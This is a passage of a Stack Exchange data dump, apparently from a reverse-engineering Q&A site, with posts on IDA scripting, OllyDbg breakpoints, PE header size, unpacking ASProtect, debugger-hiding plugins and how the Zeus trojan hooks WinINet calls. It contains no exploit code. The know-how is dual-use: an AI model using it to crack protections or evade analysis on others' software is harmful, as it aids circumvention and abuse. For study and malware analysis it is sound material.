com.[removed].crypto.openssl.OpenSSLWrapper.GenerateSeedHash:([BLjava/lang/String;)[B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've removed the apk name as it is work-related information and hopefully not necessary to solving the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right before I get the stack trace, I've noticed a bit more of information that might be helpful:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    04-27 12:00:07.599    2173-2173/com.[removed].[removed] ﹕ CPU -- Arch same ? -&amp;gt; true&#xA;    04-27 12:00:07.599    2173-2173/com.[removed].[removed] : libcrypto.so.1.0.0 already exists&#xA;    04-27 12:00:07.599    2173-2173/com.[removed].[removed] ﹕ CPU -- Arch same ? -&amp;gt; true&#xA;    04-27 12:00:07.599    2173-2173/com.[removed].[removed] ﹕ libssl.so.1.0.0 already exists&#xA;    04-27 12:00:07.599    2173-2173/com.[removed].[removed] D/dalvikvm﹕ Trying to load lib /data/data/com.[removed].[removed]/files/libcrypto.so.1.0.0 0xb310e1f0&#xA;    04-27 12:00:07.609    2173-2173/com.[removed].[removed] D/dalvikvm﹕ Added shared lib /data/data/com.[removed].[removed]/files/libcrypto.so.1.0.0 0xb310e1f0&#xA;    04-27 12:00:07.609    2173-2173/com.[removed].[removed] D/dalvikvm﹕ No JNI_OnLoad found in /data/data/com.[removed].[removed]/files/libcrypto.so.1.0.0 0xb310e1f0, skipping init&#xA;    04-27 12:00:07.619    2173-2173/com.[removed].[removed] D/dalvikvm﹕ Trying to load lib /data/data/com.[removed].[removed]/files/libssl.so.1.0.0 0xb310e1f0&#xA;    04-27 12:00:07.619    2173-2173/com.[removed].[removed] D/dalvikvm﹕ Added shared lib /data/data/com.[removed].[removed]/files/libssl.so.1.0.0 0xb310e1f0&#xA;    04-27 12:00:07.619    2173-2173/com.[removed].[removed] D/dalvikvm﹕ No JNI_OnLoad found in /data/data/com.[removed].[removed]/files/libssl.so.1.0.0 0xb310e1f0, skipping init&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is extremely appreciated as it's been quite some time tinkering, googling, etc. and I've had no success of getting the APK to run without issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all&lt;/p&gt;&#xA;" OwnerUserId="12380" LastEditorUserId="12380" LastEditDate="2015-04-27T16:48:07.583" LastActivityDate="2015-04-27T16:48:07.583" Title="recompiling android app - native method not found" Tags="|android|decompile|apk|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="8776" PostTypeId="1" AcceptedAnswerId="8777" CreationDate="2015-04-27T16:52:28.960" Score="2" ViewCount="1177" Body="&lt;p&gt;I have large PE file (C++), which has lots of indirect function calls using &lt;code&gt;vtable&lt;/code&gt; and &lt;code&gt;jmp dword&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I generate a call tree for such functions ? (like with IDA User xrefs chart menu).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of disassembled code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPX1:2401135C sub_2401135C proc near                  ; CODE XREF: sub_2401263C+Cp&#xA;UPX1:2401135C                                         ; StartAddress+21p ...&#xA;UPX1:2401135C test    eax, eax&#xA;UPX1:2401135E jz      short locret_2401136A&#xA;UPX1:24011360 call    ds:off_24057054&#xA;UPX1:24011366 or      eax, eax&#xA;UPX1:24011368 jnz     short loc_2401136B&#xA;UPX1:2401136A&#xA;UPX1:2401136A locret_2401136A:                        ; CODE XREF: sub_2401135C+2j&#xA;UPX1:2401136A retn&#xA;UPX1:2401136B ; ---------------------------------------------------------------------------&#xA;UPX1:2401136B&#xA;UPX1:2401136B loc_2401136B:                           ; CODE XREF: sub_2401135C+Cj&#xA;UPX1:2401136B mov     al, 2&#xA;UPX1:2401136D jmp     sub_2401141C&#xA;UPX1:2401136D sub_2401135C endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;User xref chart can show only call &lt;code&gt;ds:off_24057054&lt;/code&gt; branch if I will include data xrefs. What can I do to see the &lt;code&gt;jmp sub_2401141C&lt;/code&gt; branch ?&lt;/p&gt;&#xA;" OwnerUserId="12381" LastEditorUserId="53" LastEditDate="2015-04-27T22:36:09.307" LastActivityDate="2015-04-27T22:36:09.307" Title="How can i generate function call tree in IDA for non-standart function calls?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8777" PostTypeId="2" ParentId="8776" CreationDate="2015-04-27T17:04:29.160" Score="4" Body="&lt;p&gt;In these cases the target of the calls is generated at runtime and can not be determined statically (with very few exceptions). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to record this information while running the binary and incorporate the extra info into your IDB by using the AddCodeXref API or alike.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to write your own thing, this plugin can assist you in doing that and more: &lt;a href=&quot;https://github.com/deresz/funcap&quot; rel=&quot;nofollow&quot;&gt;funcap&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of &lt;em&gt;jmp subxxx&lt;/em&gt; the target of the jump is well defined. You could programatically go throught the whole binary, extract the target of the jump and add the cross reference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hacked something together, give it a try.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def is_external_jmp(ins_ea):&#xA;    &quot;&quot;&quot;&#xA;    True for JMPs between functions.&#xA;    NN_JMP (86): jmp sub_xxx (0xE9 + offset) or jmp loc_xxx (0xE9 + offset)&#xA;    &quot;&quot;&quot;    &#xA;    decode_insn(ins_ea)&#xA;&#xA;    if cmd.itype == NN_jmp:&#xA;        # HACK: GetOperandValue returns the target&#xA;        # address, not the offset (as I would expect)&#xA;        target = GetOperandValue(ins_ea, 0)&#xA;        (s, e) = current_function_boundaries(ins_ea)&#xA;&#xA;        if target &amp;lt; s or target &amp;gt; e:&#xA;            # Not within the current function&#xA;            return True&#xA;&#xA;    return False&#xA;&#xA;&#xA;def current_function_boundaries(ea=None):&#xA;    &quot;&quot;&quot;&#xA;    Convenience function&#xA;    @returns: boundaries or None&#xA;    &quot;&quot;&quot;&#xA;    if not ea:&#xA;        ea = ScreenEA()&#xA;&#xA;    f = get_func(ea)&#xA;&#xA;    if not f:&#xA;        # Probably called outside a function&#xA;        return (None, None)&#xA;&#xA;    else:&#xA;        return (f.startEA, f.endEA)&#xA;&#xA;&#xA;def main():&#xA;&#xA;    for f_ea in Functions():&#xA;        for ins_ea in FuncItems(f_ea):&#xA;            if is_external_jmp(ins):&#xA;                # One of these &quot;jmp sub_xxx&quot;&#xA;                target = GetOperandValue(ins_ea, 0)&#xA;                AddCodeXref(ins_ea, target, fl_CN)&#xA;&#xA;&#xA;&#xA;if __name__ == '__main__':&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditDate="2015-04-27T17:51:20.423" LastActivityDate="2015-04-27T17:51:20.423" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8779" PostTypeId="2" ParentId="8271" CreationDate="2015-04-28T12:38:49.757" Score="3" Body="&lt;p&gt;Answering my own question for further reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zeus and many other MiTB capable trojans use API hooking as preferred method to inject malicious code in the webpages before they are rendered by the victim. API hooking is sort of like doing a MiTM of a system call, whereby the bot intercepts the call, takes ownership and control, performs some malicious action and then returns control to the original function. Something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;call &lt;code&gt;network_function&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JMP XYZ ----&amp;gt; JMPs to malicious code &#xA;..                |&#xA;..                |&#xA;...           &amp;lt;---- returns to the original function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in this scenario, in order to extract the web injects, the best bet was to understand the logic of the trojan. That is, after a user opens a URL in the browser, this URL will be matched with a list containing the configuration of which URLs to inject. This will surely be performed on Wininet functions such as &lt;code&gt;HttpSendRequest&lt;/code&gt;, &lt;code&gt;HttpOpenRequest&lt;/code&gt;, etc. If we breakpoint on that function in the main process of &lt;code&gt;IExplore.exe&lt;/code&gt; (in an infected machine) we'll see the first instruction to be that &lt;code&gt;JMP&lt;/code&gt; instruction we've talked about. If we then proceed to step into, we'll access the actual instructions using the structure BinStorage and other, all related to Zeus. Since there is still a lot of code to go through and the interest was to retrieve the webinjects, one approach is to monitor for decryption / decode instructions (Zeus's configuration is stored encrypted; it only makes sense that if we monitor the instructions responsible for this operation will lead us to the actual decrypted content). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case searching for the sequence of bytes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; MOV ANY, ANY&#xA; XOR ANY, ANY&#xA; INC EAX&#xA; DEC ESI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we breakpoint after the last instruction and then inspect the contents of the memory address pointed by the destination operands in the &lt;code&gt;MOV&lt;/code&gt;/&lt;code&gt;XOR&lt;/code&gt; operations we will most likely find the decrypted payload (i.e. our dynamic configuration section).&lt;/p&gt;&#xA;" OwnerUserId="11781" LastEditorUserId="53" LastEditDate="2015-04-28T18:00:16.127" LastActivityDate="2015-04-28T18:00:16.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8780" PostTypeId="1" CreationDate="2015-04-29T11:50:46.223" Score="0" ViewCount="772" Body="&lt;p&gt;I love doing online stock trading in my free time. Because I spend most of the day at my job I cannot do much of it. So, I'm thinking of making a software that will automatically place trades for me based on the trading strategy that I created. The trading platform that my broker provided me is java and html5 based and I access it with a web browser. My broker does not provide API for automated trading. I have understanding of some basic Javascript and Python programming. So, in order to make my algo trading software I need to do some reverse engineering. Don't know java (no time to learn also) and don't have enough money for hiring a programmer. Is there anyway I can reverse engineer a java applet using Python/Javascript? If I can, what else I need to learn about reverse engineering, as I know only basic python and JS.&lt;/p&gt;&#xA;" OwnerUserId="12399" LastActivityDate="2015-04-29T12:25:25.790" Title="Reverse engineering a java applet using python/Javascript" Tags="|python|javascript|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8781" PostTypeId="2" ParentId="8780" CreationDate="2015-04-29T12:19:11.927" Score="3" Body="&lt;p&gt;If I understand well, you would like to reverse a Java applet in order to plug your own tool on a specific API (which is incidentally a trading platform).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know why you are speaking about Javascript/Python... If you are reversing a Java application, then you need to know about Java applications... There is no escape from reality, unfortunately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, what you need to use is a Java Decompiler in order to recover as much possible from the &lt;code&gt;*.class&lt;/code&gt; files you got from the application you want to understand. There are several Java Decompilers that you can find, here is a small list (from the most featured to the least):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jd.benow.ca/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Java Decompiler&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitbucket.org/mstrobel/procyon/wiki/Java%20Decompiler&quot; rel=&quot;nofollow noreferrer&quot;&gt;Procyon&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow noreferrer&quot;&gt;Krakatau&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.benf.org/other/cfr/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CFR&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://varaneckas.com/jad/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JAD&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.brouhaha.com/~eric/software/mocha/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mocha&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can find more information by looking to this &lt;a href=&quot;https://stackoverflow.com/questions/272535/how-do-i-decompile-java-class-files&quot;&gt;similar question on SO&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-04-29T12:24:31.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8782" PostTypeId="2" ParentId="8780" CreationDate="2015-04-29T12:25:25.790" Score="1" Body="&lt;p&gt;If its web based, you may not have to reverse the Java app. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried tools like Fiddler - &lt;a href=&quot;http://www.telerik.com/fiddler&quot; rel=&quot;nofollow&quot;&gt;http://www.telerik.com/fiddler&lt;/a&gt; - to capture web traffic that occurs when you execute a trade?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could figure out what parts of the API the browser is actually calling when certain things are executed by capturing that in Fiddler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then write a program in python to act as you in the browser.&lt;/p&gt;&#xA;" OwnerUserId="9867" LastActivityDate="2015-04-29T12:25:25.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8783" PostTypeId="1" CreationDate="2015-04-29T17:55:19.723" Score="1" ViewCount="6765" Body="&lt;p&gt;Since AsProtect is pretty dated, I was wondering if there is any tools out there that can do the unpacking for the user. If not, I guess manual is the way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case of manual mode, I would love it if you could point some papers.&lt;/p&gt;&#xA;" OwnerUserId="12401" LastEditorUserId="53" LastEditDate="2015-04-29T19:56:51.497" LastActivityDate="2015-07-02T18:51:31.320" Title="Unpacking Asprotect SKE 2.1" Tags="|unpacking|patch-reversing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8786" PostTypeId="1" AcceptedAnswerId="8787" CreationDate="2015-04-30T06:10:21.397" Score="2" ViewCount="1742" Body="&lt;p&gt;I have recently started using plugins for OllyDbg 1.10. Thanks to this &lt;a href=&quot;https://tuts4you.com/download.php?list.9&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt;, I have an idea of the capabilities of the plugins for OllyDbg. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I have only a very basic idea of how plugins work, I was wondering, do plugins interfere with each other? For example, if I use multiple plugins that deals with the same anti-debugging techniques, is it possible that they may conflict with each other and mess with what I would ideally want, which is to hide my debugger? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8336" LastActivityDate="2015-04-30T08:06:58.933" Title="Conflict of OllyDbg plugins" Tags="|ollydbg|anti-debugging|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8787" PostTypeId="2" ParentId="8786" CreationDate="2015-04-30T08:06:58.933" Score="2" Body="&lt;p&gt;It is quite possible for Ollydbg's plugin to interfere with each other. Generally you should only keep plugins that you use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best anti-debugging plugins for Ollydbg as of now are &lt;em&gt;&lt;a href=&quot;https://bitbucket.org/NtQuery/scyllahide&quot; rel=&quot;nofollow&quot;&gt;ScyllaHide&lt;/a&gt;&lt;/em&gt; for user-mode and &lt;em&gt;&lt;a href=&quot;https://bitbucket.org/mrexodia/titanhide&quot; rel=&quot;nofollow&quot;&gt;TitanHide&lt;/a&gt;&lt;/em&gt; for kernel mode. Both of them are open source and well maintained.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-04-30T08:06:58.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8788" PostTypeId="1" AcceptedAnswerId="8789" CreationDate="2015-04-30T16:53:42.720" Score="7" ViewCount="11637" Body="&lt;p&gt;Is there any way to set a breakpoint at the specific location on the stack in OllyDbg?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some value (argument of the function) on the stack and I want to break on every memory access at this location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="8543" LastActivityDate="2015-04-30T18:14:06.010" Title="How to set a breakpoint at the specific location on the stack in OllyDbg" Tags="|ollydbg|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8789" PostTypeId="2" ParentId="8788" CreationDate="2015-04-30T17:09:58.767" Score="6" Body="&lt;ul&gt;&#xA;&lt;li&gt;Take the offset of the stack place you wanna breakpoint at&lt;/li&gt;&#xA;&lt;li&gt;Go to memory dump, and press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt; (Go), and put the address there, and press &lt;kbd&gt;Ok&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Right click the first value, and go to &lt;code&gt;Breakpoint&lt;/code&gt; -&gt; &lt;code&gt;Hardware, on access&lt;/code&gt; -&gt; [size]. A &lt;code&gt;Dword&lt;/code&gt; is 4 bytes, which is how much bytes the stack viewer shows.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GBx4H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-04-30T17:09:58.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8790" PostTypeId="2" ParentId="8788" CreationDate="2015-04-30T17:10:23.217" Score="4" Body="&lt;p&gt;If the arguments of the function on stack  is a pointer (such as &lt;code&gt;pThreadId&lt;/code&gt; for &lt;code&gt;CreateThread&lt;/code&gt;), then follow the steps below. Otherwise if the argument is some value (like &lt;code&gt;CreationFlags&lt;/code&gt;) then refer to &lt;em&gt;AcidShout's&lt;/em&gt; answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Right click on the address on the stack -&gt; Chose &lt;em&gt;Follow in Dump&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Sr42P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; In the dump window, right click on the value -&gt; &lt;em&gt;Breakpoint&lt;/em&gt; -&gt; H&lt;em&gt;ardware on access&lt;/em&gt; -&gt; &lt;em&gt;Byte / Word / Dword&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DJl27.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2015-04-30T18:14:06.010" LastActivityDate="2015-04-30T18:14:06.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8793" PostTypeId="1" AcceptedAnswerId="8807" CreationDate="2015-05-02T18:53:15.877" Score="11" ViewCount="2551" Body="&lt;p&gt;Let's say I've some function(i.e. hash function), that generates value from input seed and some precomputed hash values, that are stored somewhere in binary. What are the possible approaches for:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Protect string data against dumping&lt;/li&gt;&#xA;&lt;li&gt;Protect hash algorithm from being reverse engineered for a while&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I understand that the goal of complete algorithm concealment from reverser is impossible but what technique will raise the efforts to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thoughts on this topic:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Protect hash strings with &lt;a href=&quot;http://www.sevagas.com/?String-encryption-using-macro-and&quot; rel=&quot;noreferrer&quot;&gt;encryption macro&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Obfuscating target function using some king of obfuscation/poly/metamorphic engine in order to prevent easy algorithm recovery(can lead to AV false positive but should not harm in general)&lt;/li&gt;&#xA;&lt;li&gt;Roughly generate new  hash function and values for each copy of program(kind of hard to implement and maintain)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Maybe anybody have better concepts that will suit my goal and be so kind to post it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. please do not advice to use packers/protectors. False positive AV does not cost couple functions algorithm concealment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPD&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.co.nz/#!3VxkFaLQ!3Vs8Tl6nf_9cssH-Xe8yYuaST3r1E_E13n6Af9jW2l8&quot; rel=&quot;noreferrer&quot;&gt;Here&lt;/a&gt; is the implementation if string protection written in C++. I don't know if this solution be useful for other people but it's worth mentioning though. &lt;/p&gt;&#xA;" OwnerUserId="4609" LastEditorUserId="4609" LastEditDate="2015-05-04T21:53:33.733" LastActivityDate="2018-09-11T10:27:27.190" Title="Protect data stored in binary" Tags="|binary-analysis|obfuscation|static-analysis|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8794" PostTypeId="1" CreationDate="2015-05-02T19:45:31.537" Score="1" ViewCount="1311" Body="&lt;p&gt;I'm trying to create a compiler and I will start doing the part of the code generation. To become more simple to generate the executable, I want the PE headers remain as small as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me understand better what I will do I am compiling and analyzing programs with OllyDbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a program using FASM and used some macros that I found on the Internet to reduce the size of imports. Everything is in one section as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The executable was generated with 1024 bytes. Then I used a PEiD plugin which reduced the file to 722 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not understand much about it yet, but looking at some articles on the internet seems to have some unnecessary things in headers of my file. So I want to help to reduce the size of headers without compromising the program. If possible I want help to reduce the size of imports too!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the source code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;format PE console&#xA;entry start&#xA;&#xA;include 'win32a.inc'&#xA;&#xA;macro import_part1 library, [api]&#xA;{ &#xA;  common&#xA;    library#_str: db `library &#xA;  forward &#xA;    if rva $ mod 2 = 0&#xA;     ; db 0&#xA;    end if&#xA;    ; When align is right, one byte from previous import name &#xA;    ; is used as byte for next import's hint. &#xA;    api#_str = $-1 &#xA;    db 0, `api &#xA;  common&#xA;    db 0&#xA;} &#xA;&#xA;import_part2_first = 0&#xA;&#xA;macro import_part2 library, [api]&#xA;{ &#xA;  common&#xA;    if import_part2_first = 0&#xA;      align 4&#xA;      import_part2_first = 1&#xA;    else&#xA;      dd 0&#xA;    end if&#xA;    library#_import: &#xA;  forward &#xA;    api dd rva api#_str &#xA;} &#xA;&#xA;macro import_part3 [library]&#xA;{ &#xA;  common&#xA;    data import&#xA;  forward &#xA;    dd 0, 0, 0, rva library#_str, rva library#_import &#xA;  common&#xA;    rd 5&#xA;    end data &#xA;} &#xA;&#xA;import_list equ&#xA;import_libraries equ&#xA;&#xA;macro import library,[api]&#xA;{ &#xA;  common&#xA;    import_list equ import_list import_#library &#xA;    import_#library equ library,api &#xA;    import_libraries equ import_libraries,library &#xA;} &#xA;&#xA;macro importend &#xA;{ &#xA;  match a, import_list &#xA;  \{ &#xA;    irps b, a \\{ match c, b \\\{ import_part1 c \\\} \\} &#xA;    irps b, a \\{ match c, b \\\{ import_part2 c \\\} \\} &#xA;  \} &#xA;  match =,a,import_libraries \{ import_part3 a \} &#xA;}&#xA;&#xA;&#xA;start:&#xA;&#xA;         push var&#xA;         call [printf]&#xA;&#xA;&#xA;         push 0&#xA;         call [ExitProcess]&#xA;&#xA;         var db 'Test', 0&#xA;&#xA;import kernel32.dll, ExitProcess, AttachConsole&#xA;import msvcrt.dll, printf, scanf&#xA;importend&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used RebuildPE plugin to reduce de exe size.&#xA;Here is the compiled code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Hex dump                                       Command                           Comments&#xA;00401000   .  68 13104000                                PUSH 00401013                     ; /format = &quot;Test&quot;&#xA;00401005   .  FF15 80104000                              CALL DWORD PTR DS:[&amp;lt;&amp;amp;msvcrt.print ; \MSVCRT.printf&#xA;0040100B   .  6A 00                                      PUSH 0                            ; /ExitCode = 0&#xA;0040100D   .  FF15 74104000                              CALL DWORD PTR DS:[&amp;lt;&amp;amp;kernel32.Exi ; \KERNEL32.ExitProcess&#xA;00401013   .  54                                         PUSH ESP&#xA;00401014   .  65:73 74                                   JAE SHORT 0040108B                ; Superfluous segment override prefix&#xA;00401017   .  006B 65                                    ADD BYTE PTR DS:[EBX+65], CH&#xA;0040101A   .  72 6E 65 6C 33 32 2E 64 6C 6C 00           ASCII &quot;rnel32.dll&quot;,0              ; ASCII &quot;rnel32.dll&quot;&#xA;00401025   .  45 78 69 74 50 72 6F 63 65 73 73 00        ASCII &quot;ExitProcess&quot;,0             ; ASCII &quot;ExitProcess&quot;&#xA;00401031   .  41 74 74 61 63 68 43 6F 6E 73 6F 6C 65 00  ASCII &quot;AttachConsole&quot;,0           ; ASCII &quot;AttachConsole&quot;&#xA;0040103F   .  6D 73 76 63 72 74 2E 64 6C 6C 00           ASCII &quot;msvcrt.dll&quot;,0              ; ASCII &quot;msvcrt.dll&quot;&#xA;0040104A   .  70 72 69 6E 74 66 00                       ASCII &quot;printf&quot;,0                  ; ASCII &quot;printf&quot;&#xA;00401051   .  73 63 61 6E 66 00                          ASCII &quot;scanf&quot;,0                   ; ASCII &quot;scanf&quot;&#xA;00401057   .  70 75 74 73 00                             ASCII &quot;puts&quot;,0                    ; ASCII &quot;puts&quot;&#xA;0040105C   .  75 73 65 72 33 32 2E 64 6C 6C 00           ASCII &quot;user32.dll&quot;,0              ; ASCII &quot;user32.dll&quot;&#xA;00401067   .  4D 65 73 73 61 67 65 42 6F 78 41 00        ASCII &quot;MessageBoxA&quot;,0             ; ASCII &quot;MessageBoxA&quot;&#xA;00401073      90                                         NOP&#xA;00401074   .  647FA577                                   DD 77A57F64&#xA;00401078   .  1878A577                                   DD 77A57818&#xA;0040107C   .  00000000                                   DD 00000000&#xA;00401080   .  C4D2B777                                   DD 77B7D2C4&#xA;00401084   .  BF16C077                                   DD 77C016BF&#xA;00401088   .  9C3BC077                                   DD 77C03B9C&#xA;0040108C   .  00000000                                   DD 00000000&#xA;00401090   .  9E278B77                                   DD 778B279E&#xA;00401094   .  00000000                                   DD 00000000                       ; Struct 'IMAGE_IMPORT_DESCRIPTOR'&#xA;00401098   .  00000000                                   DD 00000000&#xA;0040109C   .  00000000                                   DD 00000000&#xA;004010A0   .  18100000                                   DD 00001018&#xA;004010A4   .  74100000                                   DD 00001074&#xA;004010A8   .  00000000                                   DD 00000000                       ; Struct 'IMAGE_IMPORT_DESCRIPTOR'&#xA;004010AC   .  00000000                                   DD 00000000&#xA;004010B0   .  00000000                                   DD 00000000&#xA;004010B4   .  3F100000                                   DD 0000103F&#xA;004010B8   .  80100000                                   DD 00001080&#xA;004010BC   .  00000000                                   DD 00000000                       ; Struct 'IMAGE_IMPORT_DESCRIPTOR'&#xA;004010C0   .  00000000                                   DD 00000000&#xA;004010C4   .  00000000                                   DD 00000000&#xA;004010C8   .  5C100000                                   DD 0000105C&#xA;004010CC   .  90100000                                   DD 00001090&#xA;004010D0   .  00000000                                   DD 00000000                       ; Struct 'IMAGE_IMPORT_DESCRIPTOR'&#xA;004010D4   .  00000000                                   DD 00000000&#xA;004010D8   .  00000000                                   DD 00000000&#xA;004010DC   .  00000000                                   DD 00000000&#xA;004010E0   .  00000000                                   DD 00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the headers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Hex dump                                       Command                           Comments&#xA;00400000  /.  4D 5A                                      ASCII &quot;MZ&quot;                        ; DOS_Signature[2] = &quot;MZ&quot;&#xA;00400002  |.  8000                                       DW 80                             ; DOS_PartPag = 128.&#xA;00400004  |.  0100                                       DW 1                              ; DOS_PageCnt = 1&#xA;00400006  |.  0000                                       DW 0                              ; DOS_ReloCnt = 0&#xA;00400008  |.  0400                                       DW 4                              ; DOS_HdrSize = 4&#xA;0040000A  |.  1000                                       DW 10                             ; DOS_MinMem = 16.&#xA;0040000C   .  50 45 00 00                                ASCII &quot;PE&quot;,0,0                    ; IMAGE_NT_SIGNATURE[4] = &quot;PE&quot;&#xA;00400010  /.  4C01                                       DW 14C                            ; Machine = IMAGE_FILE_MACHINE_I386&#xA;00400012  |.  0100                                       DW 1                              ; DOS_ChkSum = 1&#xA;00400014  |.  76264555                                   DD 55452676                       ; DOS_ExeIP = 55452676&#xA;00400018  |.  00000000                                   DD 00000000                       ; DOS_RelocOffset = 0&#xA;0040001C  |.  00000000                                   DD 00000000                       ; DOS_Reserved1[4] = 00000000&#xA;00400020  |.  E000                                       DW 0E0                            ; SizeOfOptionalHeader = 224.&#xA;00400022  \.  0F01                                       DW 10F                            ; Characteristics = 